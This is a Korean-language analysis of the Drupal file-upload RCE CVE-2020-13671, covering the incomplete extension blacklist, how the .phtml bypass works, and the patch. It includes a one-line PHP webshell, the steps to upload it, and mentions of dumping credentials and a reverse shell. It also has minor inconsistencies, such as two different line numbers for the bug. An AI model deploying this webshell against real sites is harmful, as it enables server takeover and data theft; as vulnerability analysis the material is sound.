
CVE-2020-13671 - 파일 업로드를 통한 Drupal RCE 취약점 분석 및 PoC
소프트웨어: Drupal Core 8.7.5 (영향 범위: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (High)
CWE: CWE-434 — 위험한 유형의 파일 무제한 업로드 (Unrestricted Upload of File with Dangerous Type)
CISA KEV: 예 — 알려진 악용 취약점 (Known Exploited Vulnerability)
Advisory: SA-CORE-2020-012
Drupal은 PHP로 작성된 오픈소스 콘텐츠 관리 시스템(CMS)으로, WordPress나 Joomla와 유사하지만 엔터프라이즈 웹사이트, 다국어 플랫폼 등 더 복잡한 시스템을 구축하는 데 적합합니다. Drupal은 모듈형 아키텍처를 사용하며, 사용 가능한 모듈을 활성화/비활성화하거나 커뮤니티에서 추가 모듈을 설치하여 기능을 확장할 수 있습니다.
모든 CMS의 기본 기능 중 하나는 사용자가 파일을 업로드할 수 있게 하는 것입니다 — 프로필 아바타, 첨부 문서, 게시글 내 첨부 파일 등. Drupal은 이러한 파일을 sites/default/files/ 디렉토리에 저장하고 웹 서버(Apache 또는 Nginx)를 통해 직접 제공합니다.
⇒ 이는 명확한 공격 표면을 만듭니다: 공격자가 PHP 파일을 해당 디렉토리에 업로드할 수 있다면, 웹 서버는 들어오는 요청을 통해 접근할 때 그 파일을 실행하게 됩니다.
이를 방지하기 위해 Drupal은 여러 방어 계층을 구축합니다: 파일 확장자 검증, 위험한 파일 이름 변경, 업로드 디렉토리에 스크립트 실행을 차단하는 .htaccess 배치. 그러나 8.7.5 버전에서는 공격자들이 이러한 계층들 사이의 정확히 그 사각지대를 악용합니다.
이 취약점은 파일 업로드 권한이 있는 계정을 필요로 합니다. Drupal 8.7.5의 기본 설정에서 일반 사용자(Authenticated)는 콘텐츠를 보고 댓글을 작성하는 권한만 있으며 — .
| 계정 | 악용 가능? | 설명 |
|---|---|---|
| 관리자 (Admin) | 예 | 전체 업로드 권한 보유 |
| 편집자 / 콘텐츠 작성자 | 예 | 관리자에 의해 "콘텐츠 생성" 권한이 부여된 경우 |
| 인증 사용자 (기본값) | 아니요 | 기본적으로 콘텐츠 생성 또는 업로드 권한 없음 |
| 익명 사용자 (로그인하지 않음) | 아니요 | 업로드 권한 없음 |
그러나 실제로 많은 Drupal 사이트는 일반 사용자에게 콘텐츠 생성 권한을 부여합니다 (포럼, 커뮤니티 블로그, 기사 제출을 허용하는 뉴스 사이트 등). 이러한 경우 공격자는 계정을 등록하기만 하면 악용할 수 있습니다.
공격 흐름:
업로드 권한이 있는 계정을 가진 공격자 → 게시글(Article) 생성
→ Image/File 첨부 필드를 통해 webshell.phtml 업로드
→ Drupal은 파일을 원래 이름 그대로 sites/default/files/에 저장
→ 공격자가 파일 URL에 접근 → Apache가 PHP 실행 → RCE
core/modules/file/file.module 파일에는 실행 가능한 파일로 간주되는 확장자를 결정하는 단일 정규식이 있습니다:
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

이 정규식은 phar, php, pl, py, cgi, asp, js 7가지 확장자를 나열합니다. 이 목록에 해당하는 확장자를 가진 파일은 Drupal에 의해 자동으로 .txt가 추가되어 — 실행 능력이 무력화됩니다.
하지만 PHP 엔진은 .php 파일만 처리하지 않습니다. 웹 서버 구성에 따라 다른 확장자도 인식하고 실행합니다:
| 확장자 | 의미 | 정규식에 포함? |
|---|---|---|
.php | PHP 표준 | 예 |
.phtml | PHP 대체 템플릿 | 아니요 |
.php5 | PHP 5 핸들러 | 아니요 |
.pht | PHP 템플릿 | 아니요 |
.phps | PHP 소스 | 아니요 |
.shtml | Server-Side Includes | 아니요 |
5가지 PHP 확장자 변형이 정규식에서 완전히 누락되어 있습니다. 즉, shell.phtml이라는 이름의 파일이 Drupal로 전송되면 → 정규식이 일치하지 않음 → 이름이 변경되지 않음 → 원래 이름 그대로 업로드 디렉토리에 저장됨 → 웹 서버가 .phtml을 보고 → PHP로 실행 → 공격자가 RCE를 달성합니다. 이것이 근본 원인입니다: Drupal은 위험한 확장자를 차단하기 위해 블랙리스트를 사용했지만, 그 목록이 불완전했습니다.
사용자가 파일을 업로드하면 Drupal은 저장하기 전에 3개의 검증 함수를 통과시킵니다. 아래는 .phtml에 대해 이 3개가 모두 실패하는 이유에 대한 분석입니다.
file_munge_filename() (core/includes/file.inc)목적: 파일명 중간에 위치한 위험한 확장자를 탐지하여 _를 추가해 무력화하는 것. 함수 작동 방식:

$filename_parts = explode('.', $filename); // 파일명을 "." 기준으로 분할
$new_filename = array_shift($filename_parts); // 첫 번째 부분 = 원래 이름
$final_extension = array_pop($filename_parts); // 마지막 부분 = 최종 확장자
foreach ($filename_parts as $filename_part) {
// 중간 부분들을 반복
// 특정 부분이 위험한 확장자처럼 보이면 → "_" 추가
}
return $new_filename . '.' . $final_extension;
예를 들어 shell.phtml의 경우:
explode는 ["shell", "phtml"]로 분할shift는 "shell"을 가져오고 ["phtml"]이 남음pop은 "phtml"을 가져오고 []이 남음foreach 실행되지 않음"shell.phtml"을 그대로 반환그러나 파일에 확장자가 하나만 있으면 이 함수는 개입하지 않습니다. 따라서 이 함수는 여러 확장자를 가진 파일만 처리하도록 설계되었습니다.
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)이것이 주요 방어 계층입니다. 1015행의 코드:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
파일명이 정규식과 일치하면 → MIME을 text/plain으로 변경하고 끝에 .txt를 추가합니다.
shell.phtml의 경우:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml')는 0을 반환.phtml이 위험하다는 것을 알지 못하기 때문에 그대로 통과합니다..htaccessDrupal은 sites/default/files/에 .htaccess 파일을 배치합니다:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
php_flag engine off 지시문은 디렉토리 전체에 대해 PHP 엔진을 끄지만 mod_php5에만 적용됩니다. Drupal 8.7.5는 PHP 7에서 실행되므로 mod_php7이 활성화되어 있고 비활성화되지 않습니다.
그리고 .htaccess에는 다른 3가지 약점도 있습니다:
.htaccess를 읽지 않음 — 이 파일은 Nginx에서는 완전히 무효AllowOverride None**으로 구성된 Apache → .htaccess가 무시됨mod_php 대신 PHP-FPM을 사용하는 서버 → php_flag 지시문이 효과 없음echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
업로드 권한이 있는 계정으로 Drupal에 로그인 → 콘텐츠(Content) → 콘텐츠 추가(Add content) → 게시글(Article) → Image 필드에서 webshell.phtml 파일을 선택 → 업로드(Upload).
Drupal은 파일을 수락하고, 이름을 변경하지 않으며, 원래 이름 그대로 sites/default/files/에 저장합니다.

그 후 whoami로 셸 호출을 실행합니다:

따라서 우리는 www-data로 RCE를 성공적으로 달성했습니다.
자격 증명을 확인하기 위해 추가 테스트:

공격자는 데이터베이스 자격 증명이 포함된 settings.php를 읽고, 전체 DB를 덤프하고, 리버스 셸을 설치하거나, 루트 권한으로 권한 상승을 시도할 수 있습니다.
정규식 업데이트 — 누락된 5개 확장자 추가:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
.htaccess 업데이트 — mod_php7 비활성화 추가:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
패치는 작동하지만 여전히 블랙리스트에 의존합니다. 향후 새로운 확장자(.php8, .phpt)가 등장하면 정규식을 다시 업데이트해야 합니다. 알려진 안전한 확장자만 허용하는 화이트리스트 방식이 더 철저한 접근 방식이 될 것입니다.
| 취약 파일 | core/modules/file/file.module 28행 |
|---|---|
| 근본 원인 | 정규식 블랙리스트에 .phtml, .php5, .pht, .phps, .shtml 누락 |
| 영향 | .phtml 업로드 → 서버가 실행 → RCE |
| 우회된 3가지 방어 계층 | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| 패치 | 정규식에 5개 확장자 추가 + .htaccess에서 mod_php7 비활성화 |